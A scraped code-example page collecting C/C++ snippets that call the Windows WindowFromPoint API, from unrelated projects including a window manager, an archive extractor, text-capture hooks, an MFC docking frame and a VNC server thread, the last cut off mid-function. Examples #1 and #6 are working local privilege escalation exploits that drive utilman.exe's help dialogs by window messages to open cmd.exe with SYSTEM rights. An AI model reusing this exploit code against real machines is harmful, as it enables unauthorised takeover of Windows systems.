예제 #1
0
int main(int argc, char* argv[])
{
        HWND lHandle, lHandle2;
        POINT point;
        char cmd[]="%windir%\\system32\\cmd.ex?";
	unsigned int i;
	int lang_id;

	banner();

	printf("[+] Gathering system language information\r\n");
	lang_id=set_lang();
	printf("[+] OK language ...");print_lang(lang_id);

	for(i=0;i<sizeof(lang)/sizeof(lang[0]);i++)
		if(lang[i].id==lang_id)
			break;
	if(i==sizeof(lang)/sizeof(lang[0])) {
		printf("error: undefined language.\r\n");
		return -1;
	}
	printf("[+] Trying to execute program with SYSTEM priviliges through utilman.exe\r\n");
	printf("prog: %s\r\n",cmd);
//  run utility manager
//       system("utilman.exe /start");
	WinExec("utilman.exe /start",SW_HIDE);
       Sleep(1000);

	lHandle=FindWindow(NULL, lang[i].utilman);   
        if (!lHandle) {
		printf("error: unable to start utilman.exe.\r\n");
                return 0;
        }

        PostMessage(lHandle,0x313,0,0); //=right click on the app button in the
	//taskbar or Alt+Space Bar
        
        Sleep(100);

        SendMessage(lHandle,0x365,0,0x1); //send WM_COMMANDHELP  0x0365  lParam must be<>NULL 
        Sleep(300);
        
	SendMessage (FindWindow(NULL, lang[i].winhelp), WM_IME_KEYDOWN, VK_RETURN, 0);
        Sleep(500);

        // find open file dialog window
	lHandle = FindWindow("#32770",lang[i].open);
        // get input box handle
        lHandle2 = GetDlgItem(lHandle, 0x47C);
        Sleep(500);

        // set text to filter listview to display only cmd.exe
        SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)cmd);
        Sleep(800);

        // send return
        SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

        //get navigation bar handle
        lHandle2 = GetDlgItem(lHandle, 0x4A0);
        
        //send tab
        SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
        Sleep(500);
        lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
        //get list view handle
        lHandle2 = GetDlgItem(lHandle2, 0x1);

        SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
        SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
        SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
        Sleep(500);

        //popup context menu
        PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
        Sleep(1000);

        // get context menu handle
        point.x =10; point.y =30;
        lHandle2=WindowFromPoint(point);

        SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
        SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
        SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return

        SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
        Sleep(500);

	SendMessage (FindWindow(NULL, lang[i].winhelp), WM_CLOSE, 0, 0);// close open error window
	SendMessage (FindWindow(NULL, lang[i].utilman), WM_CLOSE, 0, 0);// close utilitymanager
        return 0;
}
예제 #2
0
파일: mouse.cpp 프로젝트: chhavi1996/guipro
UINT mouseEvent(UINT p_event, bool status, LPARAM lParam)
{
	UINT ret = 0;
#define KEYSTATE(a) ((GetKeyState(VK_ ## a) & (1<<15)) != 0)
#define MOUSE_OPTION(a,b) ((g_mouse_options[MOUSE_ACT_ ## a].mod & MOD_ ## b) != 0)

	if( g_mouse_options[MOUSE_ACT_DRAG].btn == p_event )
	{
		if( ((!movingInProgress == status) &&
			(KEYSTATE(LMENU) == MOUSE_OPTION(DRAG, ALT)) && 
			(KEYSTATE(LCONTROL) == MOUSE_OPTION(DRAG, CONTROL)) && 
			(KEYSTATE(LSHIFT) == MOUSE_OPTION(DRAG, SHIFT)) && 
			(KEYSTATE(LWIN) == MOUSE_OPTION(DRAG, WIN)))
			|| (movingInProgress && !status))
		{
			if( MOUSE_OPTION(DRAG, ALT) || MOUSE_OPTION(DRAG, WIN) )
			{
				keybd_event( VK_RSHIFT, 0x36, KEYEVENTF_EXTENDEDKEY | 0, 0 );
				keybd_event( VK_RSHIFT, 0x36, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0 );
			}

			if( status )
			{
				if( drag_activation(lParam) )
					ret = 1;
			}
			else
			{
				movingInProgress = false;
				ret = 1;
			}
		}
	}

	if( g_mouse_options[MOUSE_ACT_RESIZE].btn == p_event) 
	{
		if( ((!resizeInProgress && status) &&
			(KEYSTATE(LMENU) == MOUSE_OPTION(RESIZE, ALT)) && 
			(KEYSTATE(LCONTROL) == MOUSE_OPTION(RESIZE, CONTROL)) && 
			(KEYSTATE(LSHIFT) == MOUSE_OPTION(RESIZE, SHIFT)) && 
			(KEYSTATE(LWIN) == MOUSE_OPTION(RESIZE, WIN)))
			|| (resizeInProgress && !status))
		{
			if( MOUSE_OPTION(RESIZE, ALT) || MOUSE_OPTION(RESIZE, WIN) )
			{
				keybd_event( VK_RSHIFT, 0x36, KEYEVENTF_EXTENDEDKEY | 0, 0 );
				keybd_event( VK_RSHIFT, 0x36, KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP, 0 );
			}

			if( status )
			{
				if( resize_activation(lParam) )
					ret = 1;
			}
			else
			{
				resizeInProgress = false;
				ret = 1;
			}
		}
	}

	if( g_mouse_options[MOUSE_ACT_SWITCH].btn == p_event )
	{
		if( (KEYSTATE(LMENU) == MOUSE_OPTION(SWITCH, ALT)) && 
			(KEYSTATE(LCONTROL) == MOUSE_OPTION(SWITCH, CONTROL)) && 
			(KEYSTATE(LSHIFT) == MOUSE_OPTION(SWITCH, SHIFT)) && 
			(KEYSTATE(LWIN) == MOUSE_OPTION(SWITCH, WIN)))
		{
			if( MOUSE_OPTION(SWITCH, ALT) )
				keybd_event(VK_LMENU, 0, KEYEVENTF_KEYUP, 0);
			if( MOUSE_OPTION(SWITCH, CONTROL) )
				keybd_event(VK_LCONTROL, 0, KEYEVENTF_KEYUP, 0);
			if( MOUSE_OPTION(SWITCH, SHIFT) )
				keybd_event(VK_LSHIFT, 0, KEYEVENTF_KEYUP, 0);

			change_current_window(lParam);
			ret = 1;
		}
	}

#undef KEYSTATE
#undef MOUSE_OPTION

	if( p_event == MOUSE_BTN_RIGHT )
	{
		MOUSEHOOKSTRUCT ms = *((MOUSEHOOKSTRUCT *)lParam);
		HWND destHwnd = WindowFromPoint(ms.pt);
		DWORD dw;

		dw = SendMessage(destHwnd, WM_NCHITTEST, 0, MAKELPARAM((WORD)ms.pt.x, (WORD)ms.pt.y));
		if (dw == HTMINBUTTON)
		{
			if( status )
			{
				mouseHwndMinBtnPointed = destHwnd;
				ret = 1;
			}
			else
			{
				if( destHwnd == mouseHwndMinBtnPointed )
				{
					traynizeWindow(destHwnd);
					//iconizeWindow(destHwnd);
					ret = 1;
				}
				else
				{
					destHwnd = NULL;
				}
			}
		}
		else if( mouseHwndMinBtnPointed != NULL )
		{
			mouseHwndMinBtnPointed = NULL;
		}
	}

	return ret;
}
예제 #3
0
// Window Procedure
LRESULT CWinMain::WndProc(HWND hWnd, UINT msg, WPARAM wp, LPARAM lp)
{
	static CMainToolBar MainToolBar;
	static CSearchToolBar SearchToolBar;
	static CMainListView listview;
	static CStatusBar statusbar;
	static CExtractData extract;
	static COption option;
	static CVersionInfo version;
	static CLastDir lastdir;
	static TCHAR ReadmeFileName[MAX_PATH], HistoryFileName[MAX_PATH], StateFileName[MAX_PATH];
	INITCOMMONCONTROLSEX ic;

	switch (msg)
	{
	case WM_CREATE:
		{
			// Allow D&D (Drag & Drop)
			DragAcceptFiles(hWnd, TRUE);

			option.Init(SearchToolBar, listview);

			// Initialization of the common installation configuration
			ic.dwSize = sizeof(INITCOMMONCONTROLSEX);
			ic.dwICC = ICC_WIN95_CLASSES;
			InitCommonControlsEx(&ic);

			// Create main toolbar
			MainToolBar.Create(hWnd);
			SearchToolBar.Create(hWnd);

			// Create list view
			listview.Create(hWnd, option.GetOpt());

			// Create status bar
			statusbar.Create(hWnd, option.GetOpt(), listview);

			// Get full path
			TCHAR ModulePath[MAX_PATH];
			GetModuleFileName(nullptr, ModulePath, MAX_PATH);
			PathRemoveFileSpec(ModulePath);

			// Retrieves full path of the location of Readme.txt
			lstrcpy(ReadmeFileName, ModulePath);
			PathAppend(ReadmeFileName, _T("Readme.txt"));

			// Retrieves full path of the location of History.txt
			lstrcpy(HistoryFileName, ModulePath);
			PathAppend(HistoryFileName, _T("History.txt"));

			// Retrieves full path of the location of State.txt
			lstrcpy(StateFileName, ModulePath);
			PathAppend(StateFileName, _T("State.txt"));

			extract.Init(hWnd, option.GetOpt(), listview);
			break;
		}

	case WM_DROPFILES:
		extract.OpenDrop(wp);
		MainToolBar.AddOpenHistory(extract.GetArcList());
		statusbar.SetCount();
		break;

	case WM_COMMAND:
		switch (LOWORD(wp))
		{
		case IDM_OPEN: // Open a file to load
			extract.Open(lastdir.GetOpen());
			MainToolBar.AddOpenHistory(extract.GetArcList());
			statusbar.SetCount();
			lastdir.SaveIni();
			break;

		case IDM_CLOSE: // Close the opened file
			extract.Close();
			statusbar.SetCount();
			break;

		// Open a file from history
		case ID_TOOLBAR_OPEN_HISTORY:
		case ID_TOOLBAR_OPEN_HISTORY+1:
		case ID_TOOLBAR_OPEN_HISTORY+2:
		case ID_TOOLBAR_OPEN_HISTORY+3:
		case ID_TOOLBAR_OPEN_HISTORY+4:
		case ID_TOOLBAR_OPEN_HISTORY+5:
		case ID_TOOLBAR_OPEN_HISTORY+6:
		case ID_TOOLBAR_OPEN_HISTORY+7:
		case ID_TOOLBAR_OPEN_HISTORY+8:
		case ID_TOOLBAR_OPEN_HISTORY+9:
			extract.OpenHistory(MainToolBar.GetHistory()[LOWORD(wp)-ID_TOOLBAR_OPEN_HISTORY]);
			MainToolBar.AddOpenHistory(extract.GetArcList());
			statusbar.SetCount();
			break;

		// Search button configuration file
		case IDM_AHX:
		case IDM_BMP:
		case IDM_JPG:
		case IDM_MID:
		case IDM_MPG:
		case IDM_OGG:
		case IDM_PNG:
		case IDM_WAV:
		case IDM_WMV:
			SearchToolBar.SetSearch(LOWORD(wp));
			break;

		// Quick settings
		case IDM_QUICKSET_STD_SEARCHOGG:
		case IDM_QUICKSET_EXTRACT_CREATEFOLDER:
		case IDM_QUICKSET_EXTRACT_FIXOGG:
		case IDM_QUICKSET_EXTRACT_EASYDECRYPT:
		case IDM_QUICKSET_EXTRACT_DSTPNG:
		case IDM_QUICKSET_EXTRACT_ALPHABLEND:
		case IDM_QUICKSET_SUSIE_USE:
		case IDM_QUICKSET_SUSIE_FIRST:
			SetQuickMenuItem(LOWORD(wp));
			break;

		case IDM_EXIT: // Exit
			SendMessage(hWnd, WM_CLOSE, 0, 0);
			break;

		case IDM_EXTRACT: // Extract the selected range
			if (listview.GetCountSel() > 0)
			{
				extract.SaveSel(lastdir.GetSave(), TRUE);
			}
			lastdir.SaveIni();
			break;

		case IDM_EXTRACTALL: // Extract all
			if( listview.GetCount() > 0 )
			{
				extract.SaveAll(lastdir.GetSave(), TRUE);
			}
			lastdir.SaveIni();
			break;

		case IDM_EXTRACT_NOTCONVERT: // Extracts the selection without converting it
			if (listview.GetCountSel() > 0)
			{
				extract.SaveSel(lastdir.GetSave(), FALSE);
			}
			lastdir.SaveIni();
			break;

		case IDM_EXTRACTALL_NOTCONVERT: // Extracts all without conversion
			if (listview.GetCount() > 0)
			{
				extract.SaveAll(lastdir.GetSave(), FALSE);
			}
			lastdir.SaveIni();
			break;

		case IDM_SELECTALL: // Select all
			listview.SetItemSelAll(LVIS_SELECTED);
			break;

		case IDM_OPTION: // Options
			option.DoModal(hWnd);
			break;

		case IDM_README: // Open Readme.txt
			ShellExecute(nullptr, _T("open"), ReadmeFileName, nullptr, nullptr, SW_SHOWNORMAL);
			break;

		case IDM_HISTORY: // Open History.txt
			ShellExecute(nullptr, _T("open"), HistoryFileName, nullptr, nullptr, SW_SHOWNORMAL);
			break;

		case IDM_STATE: // Open State.txt
			ShellExecute(nullptr, _T("open"), StateFileName, nullptr, nullptr, SW_SHOWNORMAL);
			break;

		case IDM_VERSION: // Version info
			version.DoModal(hWnd);
			break;
		}
		break;

	// Right-click Menu
	case WM_CONTEXTMENU:
		CreateMenu(lp);
		break;

	case WM_MOUSEWHEEL:
		{
			POINT pos;
			GetCursorPos(&pos);
			HWND pWnd = WindowFromPoint(pos);
			if (pWnd == listview.GetHandle())
				SendMessage(pWnd, WM_MOUSEWHEEL, wp, lp);
			break;
		}

	case WM_NOTIFY:
		{
			// Toolbar
			if (wp == ID_TOOLBAR)
			{
				LPNMTOOLBAR pNM = reinterpret_cast<LPNMTOOLBAR>(lp);
				switch (pNM->hdr.code)
				{
					// File History
					case TBN_DROPDOWN:
						MainToolBar.CreateMenuHistory(pNM->iItem);
						break;
				}
			}

			// List view
			if (wp == idsMainList)
			{
				LPNMLISTVIEW pNM = reinterpret_cast<LPNMLISTVIEW>(lp);
				switch (pNM->hdr.code)
				{
				// Sort
				case LVN_COLUMNCLICK:
					listview.Sort(pNM->iSubItem);
					break;
				// Show Tooltips
				case LVN_GETINFOTIP:
					listview.ShowTip(reinterpret_cast<LPNMLVGETINFOTIP>(lp));
					break;
				// View
				case LVN_GETDISPINFO:
					listview.Show(reinterpret_cast<NMLVDISPINFO*>(lp));
					break;
				// D&D (Drag & Drop)
				case LVN_BEGINDRAG:
					//extract.SaveDrop();
					LRESULT             lResult;
					listview.OnBeginDrag(reinterpret_cast<NMHDR*>(lp), &lResult);
					break;
				// Playback / Viewing by double-clicking
				case NM_DBLCLK:
					if (listview.GetCountSel() > 0)
					{
						extract.DecodeTmp();
						extract.OpenRelate();
					}
					break;
				}
			}
			break;
		}

	case WM_SIZE:
		MainToolBar.SetWindowPos(0, 0, 100, 26);
		SearchToolBar.SetWindowPos(100, 0, LOWORD(lp), 26);
		listview.SetWindowPos(0, 28, LOWORD(lp), HIWORD(lp) - 48);
		statusbar.SetWindowPos(LOWORD(lp));
		break;

	case WM_CLOSE:
		// Save
		SaveIni();
		listview.SaveIni();
		// Clean up
		extract.Close();
		DestroyWindow(hWnd);
		break;

	case WM_DESTROY:
		PostQuitMessage(0);
		break;

	default:
		return (DefWindowProc(hWnd, msg, wp, lp));
	}

	return 0;
}
예제 #4
0
//Hook TextOutW 的过程
DLLEXPORT BOOL WINAPI NHTextOutW(HDC hdc,
                                 int nXStart,
                                 int nYStart,
                                 LPCWSTR lpString,
                                 int cbString)
{
    POINT pt;
    HWND  hWDC;
    HWND  hWPT;
    DWORD dwThreadIdWithPoint = 0;
    DWORD dwThreadIdCurr = 0;

    /*
    	{
    		char cBuffer[0x100];
    		wsprintf(cBuffer, "-> NHTextOutW : %s\n", "start");
    		OutputDebugString(cBuffer);
    	}
    */
    //DbgFilePrintf("-> NHTextOutW : lpString(%s), cbString(%d)\n", lpString, cbString);

    // restore
    RestoreWin32Api(&g_TextOutWHook, HOOK_NEED_CHECK);

    pt.x = g_CurMousePos.x;
    pt.y = g_CurMousePos.y;
    hWDC = WindowFromDC(hdc);
    hWPT = WindowFromPoint(pt);

    dwThreadIdWithPoint = GetWindowThreadProcessId(hWPT, NULL);
    dwThreadIdCurr = GetCurrentThreadId();

    if(dwThreadIdWithPoint == dwThreadIdCurr)
    {
        if (hWDC == NULL || hWPT == hWDC
                || IsParentOrSelf(hWPT, hWDC)
                || IsParentOrSelf(hWDC, hWPT))
        {
            if ((g_bAllowGetCurWord) && (!IsBadReadPtr(lpString, cbString))
                    && (cbString > 0))
            {
                g_nTextAlign = GetTextAlign(hdc);
                g_nExtra     = GetTextCharacterExtra(hdc);
                GetCurrentPositionEx(hdc, &g_CurPos);
                GetTextMetrics(hdc, &g_tm);
                g_dwDCOrg.x = 0;
                g_dwDCOrg.y = 0;
                bRecAllRect = FALSE;
                GetStringRectW(hdc, lpString, cbString, nXStart,
                               nYStart, &g_rcTotalRect, NULL);
                bRecAllRect = TRUE;

                if ((WindowFromDC != NULL)&&(WindowFromDC(hdc) == NULL))
                {
                    g_dwDCOrg.x = 0;
                    g_dwDCOrg.y = 0;

                    // 01/19/2000
                    // Fix Bug5: get word position error sometimes
                    // Fix Bug5 begin

                    AddToTextOutBufferW(hdc, lpString, cbString,
                                        nXStart, nYStart, NULL);

                    //Fix Bug5 end
                }
                else
                {
                    GetDCOrgEx(hdc, &g_dwDCOrg);

                    // 01/19/2000
                    // Fix Bug5: get word position error sometimes
                    // Fix Bug5 begin

                    GetCurMousePosWordW(hdc, lpString, cbString,
                                        nXStart, nYStart, NULL);

                    //Fix Bug5 end
                }
            }
        }
    }

    // call TextOutW 处理完我们的函数之后,回调系统的TextOutW函数,以便系统继续进行
    TextOutW(hdc, nXStart, nYStart, lpString, cbString);

    HookWin32Api(&g_TextOutWHook, HOOK_NEED_CHECK);

    return TRUE;
}
예제 #5
0
//Hook TextOutW 的过程
DLLEXPORT BOOL WINAPI NHExtTextOutW(HDC hdc,
                                    int X,
                                    int Y,
                                    UINT fuOptions,
                                    CONST RECT *lprc,
                                    LPCWSTR lpString,
                                    UINT cbCount,
                                    CONST INT *lpDx)
{
    POINT pt;
    HWND  hWDC;
    HWND  hWPT;

    DWORD dwThreadIdWithPoint = 0;
    DWORD dwThreadIdCurr = 0;

    // restore
    RestoreWin32Api(&g_ExtTextOutWHook, HOOK_NEED_CHECK);
    /*
    	{
    		char cBuffer[0x100];
    		wsprintf(cBuffer, "-> NHExtTextOutW : %s\n", "start");
    		OutputDebugString(cBuffer);
    	}
    */
    //DbgFilePrintf("-> NHExtTextOutW : lpString(%s), cbCount(%d)\n", lpString, cbCount);

    pt.x = g_CurMousePos.x;
    pt.y = g_CurMousePos.y;
    hWDC = WindowFromDC(hdc);
    hWPT = WindowFromPoint(pt);

    // 01/17/2000
    // Fix Bug3: get word error when IE window overlaps.
    // Fix Bug3 begin

    dwThreadIdWithPoint = GetWindowThreadProcessId(hWPT, NULL);
    dwThreadIdCurr = GetCurrentThreadId();

    if(dwThreadIdWithPoint == dwThreadIdCurr)
    {
        // Fix Bug3 end

        if (hWDC == NULL || hWPT == hWDC
                || IsParentOrSelf(hWPT, hWDC)
                || IsParentOrSelf(hWDC, hWPT))
        {
            if ((g_bAllowGetCurWord) && (!IsBadReadPtr(lpString, cbCount))
                    && (cbCount > 0))
            {
                /*
                			{
                				//char cBuffer[0x100];
                				//wsprintf(cBuffer, ">>>----> NHExtTextOutW : (%s) %d\n", lpTemp, cbCount);
                				//OutputDebugString(cBuffer);
                			}
                */
                g_nTextAlign = GetTextAlign(hdc);
                g_nExtra     = GetTextCharacterExtra(hdc);
                GetCurrentPositionEx(hdc, &g_CurPos);
                GetTextMetrics(hdc, &g_tm);
                g_dwDCOrg.x = 0;
                g_dwDCOrg.y = 0;
                bRecAllRect = FALSE;
                GetStringRectW(hdc, lpString, cbCount, X, Y,
                               &g_rcTotalRect, lpDx);
                bRecAllRect = TRUE;

                //{DbgFilePrintf("--> NHExtTextOutW: lpTemp(%s)len(%d)\n", lpTemp, strlen(lpTemp));}
                //{DbgFilePrintf("--> NHExtTextOutW: X(%d)Y(%d), g_rcTotalRect(%d,%d,%d,%d)\n", X, Y, g_rcTotalRect.left, g_rcTotalRect.top, g_rcTotalRect.right, g_rcTotalRect.bottom);}

                if ((WindowFromDC != NULL)&&(WindowFromDC(hdc) == NULL))
                {
                    g_dwDCOrg.x = 0;
                    g_dwDCOrg.y = 0;

                    // 01/19/2000
                    // Fix Bug5: get word position error sometimes
                    // Fix Bug5 begin

                    AddToTextOutBufferW(hdc, lpString,
                                        cbCount, X, Y, lpDx);

                    // Fix Bug5 end
                }
                else
                {
                    GetDCOrgEx(hdc, &g_dwDCOrg);

                    // 01/19/2000
                    // Fix Bug5: get word position error sometimes
                    // Fix Bug5 begin

                    GetCurMousePosWordW(hdc, lpString,
                                        cbCount, X, Y, lpDx);

                    // Fix Bug5 end
                }
            }
        }
    }

    // call ExtTextOutW
    ExtTextOutW(hdc, X, Y, fuOptions, lprc, lpString, cbCount, lpDx);

    //调用封装好的HooK过程
    HookWin32Api(&g_ExtTextOutWHook, HOOK_NEED_CHECK);

    return TRUE;
}
예제 #6
0
int main(int argc, char *argv[]) 
{ 
  HWND lHandle, lHandle2;
  POINT point;

  char sText[]="%windir%\\system32\\cmd.ex?";

  // run utility manager
  system("utilman.exe /start");
  Sleep(500);

  // execute contextual help
  SendMessage(FindWindow(NULL, "Utility manager"), 0x4D, 0, 0);
  Sleep(500);

  // open file open dialog windown in Windows Help
  PostMessage(FindWindow(NULL, "Windows Help"), WM_COMMAND, 0x44D, 0);
  Sleep(500);

  // find open file dialog window
  lHandle = FindWindow("#32770","Open");

  // get input box handle
  lHandle2 = GetDlgItem(lHandle, 0x47C);
  Sleep(500);

  // set text to filter listview to display only cmd.exe
  SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
  Sleep(800);

  // send return
  SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

  //get navigation bar handle
  lHandle2 = GetDlgItem(lHandle, 0x4A0);
  //send tab
  SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
  Sleep(500);
  lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
  //get list view handle
  lHandle2 = GetDlgItem(lHandle2, 0x1);

  SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
  SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
  SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
  Sleep(500);
  
  // popup context menu
  PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
  Sleep(1000);

  // get context menu handle
  point.x =10; point.y =30;
  lHandle2=WindowFromPoint(point);

  SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0);   // move down in menu
  SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0);   // move down in menu
  SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return

  SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window

  return(0);
}
예제 #7
0
//Hook在图片上画字的过程
DLLEXPORT BOOL WINAPI NHBitBlt(HDC hdcDest,
                               int nXDest,
                               int nYDest,
                               int nWidth,
                               int nHeight,
                               HDC hdcSrc,
                               int nXSrc,
                               int nYSrc,
                               DWORD dwRop)
{
    int x, y;

    POINT pt;
    HWND  hWDC;
    HWND  hWPT;
    //char lpClassName[256];
    /*
    	{
    		char cBuffer[0x100];
    		wsprintf(cBuffer, "-> NHBitBlt : %s\n", "start");
    		OutputDebugString(cBuffer);
    	}
    */
    //DbgFilePrintf("-> NHBitBlt : %s\n", "start");

    // restore
    RestoreWin32Api(&g_BitBltHook, HOOK_NEED_CHECK);

    pt.x = g_CurMousePos.x;
    pt.y = g_CurMousePos.y;
    hWDC = WindowFromDC(hdcDest);
    hWPT = WindowFromPoint(pt);

    if (hWPT == hWDC) //added by zhhn 01/17/2000
    {
        if (nWidth > 5)	//Xianfeng:大于5估计能放下字符
        {
            GetDCOrgEx(hdcDest, &g_dwDCOrg);
            x = g_dwDCOrg.x;
            y = g_dwDCOrg.y;
            x += nXDest;
            y += nYDest;
            g_dwDCOrg.x = x;
            g_dwDCOrg.y = y;

            CheckMemDCWordBuffer(hdcDest, hdcSrc);
        }
        else
        {
            if (CheckDCWndClassName(hdcDest))
            {
                GetDCOrgEx(hdcDest, &g_dwDCOrg);
                x = g_dwDCOrg.x;
                y = g_dwDCOrg.y;
                x += nXDest;
                y += nYDest;
                g_dwDCOrg.x = x;
                g_dwDCOrg.y = y;

                CheckMemDCWordBuffer(hdcDest, hdcSrc);
            }
        }
    }

    // call BitBlt
    BitBlt(hdcDest, nXDest, nYDest, nWidth, nHeight,
           hdcSrc, nXSrc, nYSrc, dwRop);

    HookWin32Api(&g_BitBltHook, HOOK_NEED_CHECK);

    return TRUE;
}
예제 #8
0
void CExtMiniDockFrameWnd::OnTimer( UINT nIDEvent )
{
CExtControlBar * pExtBar = GetControlBarExt();
	if( nIDEvent == 1 )
	{
		if( pExtBar == NULL )
			return;
		KillTimer( 1 );
		pExtBar->OnNcAreaButtonsReposition();
//		SetWindowPos(
//			NULL,
//			0, 0, 0, 0,
//			SWP_NOREDRAW|SWP_NOSIZE
//				|SWP_NOMOVE|SWP_NOACTIVATE
//				|SWP_NOZORDER|SWP_NOOWNERZORDER 
//				|SWP_FRAMECHANGED
//			);
		return;
	}
	if( nIDEvent == 2 )
	{
		_AnalyzeButtonsHover();
		return;
	}
	if( nIDEvent == 3 )
	{
		if(		pExtBar == NULL
			//|| _ResizingIsInProgress()
			)
			return;
		KillTimer( 3 );
		RecalcLayout();
		pExtBar->OnNcAreaButtonsReposition();
		SendMessage( WM_NCPAINT );
		return;
	}
	if( nIDEvent == 4 )
	{
		if( pExtBar != NULL )
		{
			ASSERT_VALID( pExtBar );
			CPoint point;
			if( ! ::GetCursorPos(&point) )
				return;
			UINT nHT = pExtBar->NcButtons_HitTest( point );
			if( nHT == HTCLIENT )
			{
				PostMessage( WM_NCPAINT );
				pExtBar->m_bNcAreaBtnTracking = false;
			}
		}
		if( !pExtBar->m_bNcAreaBtnTracking )
			KillTimer( 4 );
		return;
	}

	if( pExtBar == NULL )
		return;
	ASSERT_VALID( pExtBar );
	if( nIDEvent == (UINT)pExtBar->GetDlgCtrlID() )
	{
		if( _ResizingIsInProgress() )
			return;
		CPoint pt;
		if( ! ::GetCursorPos( &pt ) )
			return;
		CWnd * pTempWnd = WindowFromPoint( pt );
		int IsMouseInsideTheWindow =
			IsChild( pTempWnd ) || pTempWnd->m_hWnd == m_hWnd;

		if(	IsMouseInsideTheWindow
			|| IsChild(GetFocus())  
			|| (CExtMouseCaptureSink::GetCapture() && pExtBar->m_hWnd == CExtMouseCaptureSink::GetCapture()) 
			|| CExtPopupMenuWnd::IsMenuTracking()
			) 
		{

			if(	IsMouseInsideTheWindow 
				&& !CExtPopupMenuWnd::IsMenuTracking()
				&& IsWindowEnabled()
				&& GetFocus()
				) 
				BringWindowToTop();
		}
	} // if( nIDEvent == (UINT)pExtBar->GetDlgCtrlID() )
}
예제 #9
0
void *
vncDesktopThread::run_undetached(void *arg)
{
	// Save the thread's "home" desktop, under NT (no effect under 9x)
	HDESK home_desktop = GetThreadDesktop(GetCurrentThreadId());

	// Attempt to initialise and return success or failure
	if (!m_desktop->Startup())
	{
		vncService::SelectHDESK(home_desktop);
		ReturnVal(FALSE);
		return NULL;
	}

  // Grab the initial display contents
  // *** m_desktop->m_buffer.GrabRegion(m_desktop->m_bmrect);
  // *** m_desktop->m_buffer.Clear(m_desktop->m_bmrect);

	// Succeeded to initialise ok
	ReturnVal(TRUE);

	// START PROCESSING DESKTOP MESSAGES

	// We set a flag inside the desktop handler here, to indicate it's now safe
	// to handle clipboard messages
	m_desktop->SetClipboardActive(TRUE);

	// All changes in the state of the display are stored in a local
	// UpdateTracker object, and are flushed to the vncServer whenever
	// client updates are about to be triggered
	rfb::SimpleUpdateTracker clipped_updates;
	rfb::ClippedUpdateTracker updates(clipped_updates, m_desktop->m_bmrect);
	clipped_updates.enable_copyrect(true);

	// Incoming update messages are collated into a single region cache
	// The region cache areas are checked for changes before an update
	// is triggered, and the changed areas are passed to the UpdateTracker
	rfb::Region2D rgncache = m_desktop->m_bmrect;

	// The previous cursor position is stored, to allow us to erase the
	// old instance whenever it moves.
	rfb::Point oldcursorpos;

	// Set the hook thread to a high priority
	// *** set_priority(omni_thread::PRIORITY_HIGH);

	BOOL idle_skip = TRUE;
	ULONG idle_skip_count = 0;
	MSG msg;
	while (TRUE)
	{
		if (!PeekMessage(&msg, NULL, NULL, NULL, PM_REMOVE)) {
			//
			// - MESSAGE QUEUE EMPTY
			// Whenever the message queue becomes empty, we check to see whether
			// there are updates to be passed to clients.
			if (idle_skip) {
				idle_skip = FALSE;
				if (idle_skip_count++ < 4) {
					Sleep(5);
					continue;
				}
			}
			idle_skip_count = 0;

			// Clear the triggered flag
			m_desktop->m_update_triggered = FALSE;

			//
			// CHECK SCREEN FORMAT
			// First, we must check that the screen hasnt changed too much.
			if (m_desktop->m_displaychanged || !vncService::InputDesktopSelected())
			{
				rfbServerInitMsg oldscrinfo = m_desktop->m_scrinfo;
				m_desktop->m_displaychanged = FALSE;

				// Attempt to close the old hooks
				if (!m_desktop->Shutdown())
				{
					m_server->KillAuthClients();
					break;
				}

				// Now attempt to re-install them!
				if (!m_desktop->Startup())
				{
					m_server->KillAuthClients();
					break;
				}

				// Check that the screen info hasn't changed
				//vnclog.Print(LL_INTINFO, VNCLOG("SCR: old screen format %dx%dx%d\n"),
				//	oldscrinfo.framebufferWidth,
				//	oldscrinfo.framebufferHeight,
				//	oldscrinfo.format.bitsPerPixel);
				//vnclog.Print(LL_INTINFO, VNCLOG("SCR: new screen format %dx%dx%d\n"),
				//	m_desktop->m_scrinfo.framebufferWidth,
				//	m_desktop->m_scrinfo.framebufferHeight,
				//	m_desktop->m_scrinfo.format.bitsPerPixel);
				if ((m_desktop->m_scrinfo.framebufferWidth != oldscrinfo.framebufferWidth) ||
					(m_desktop->m_scrinfo.framebufferHeight != oldscrinfo.framebufferHeight))
				{
					m_server->KillAuthClients();
					break;
				} else if (memcmp(&m_desktop->m_scrinfo.format, &oldscrinfo.format, sizeof(rfbPixelFormat)) != 0)
				{
					m_server->UpdateLocalFormat();
				}

				// Adjust the UpdateTracker clip region
				updates.set_clip_region(m_desktop->m_bmrect);

				// Add a full screen update to all the clients
				rgncache = rgncache.union_(rfb::Region2D(m_desktop->m_bmrect));
				m_server->UpdatePalette();
			}
	
			//
			// CALCULATE CHANGES
			//

			if (m_desktop->m_server->UpdateWanted())
			{
				// POLL PROBLEM AREAS
				// We add specific areas of the screen to the region cache,
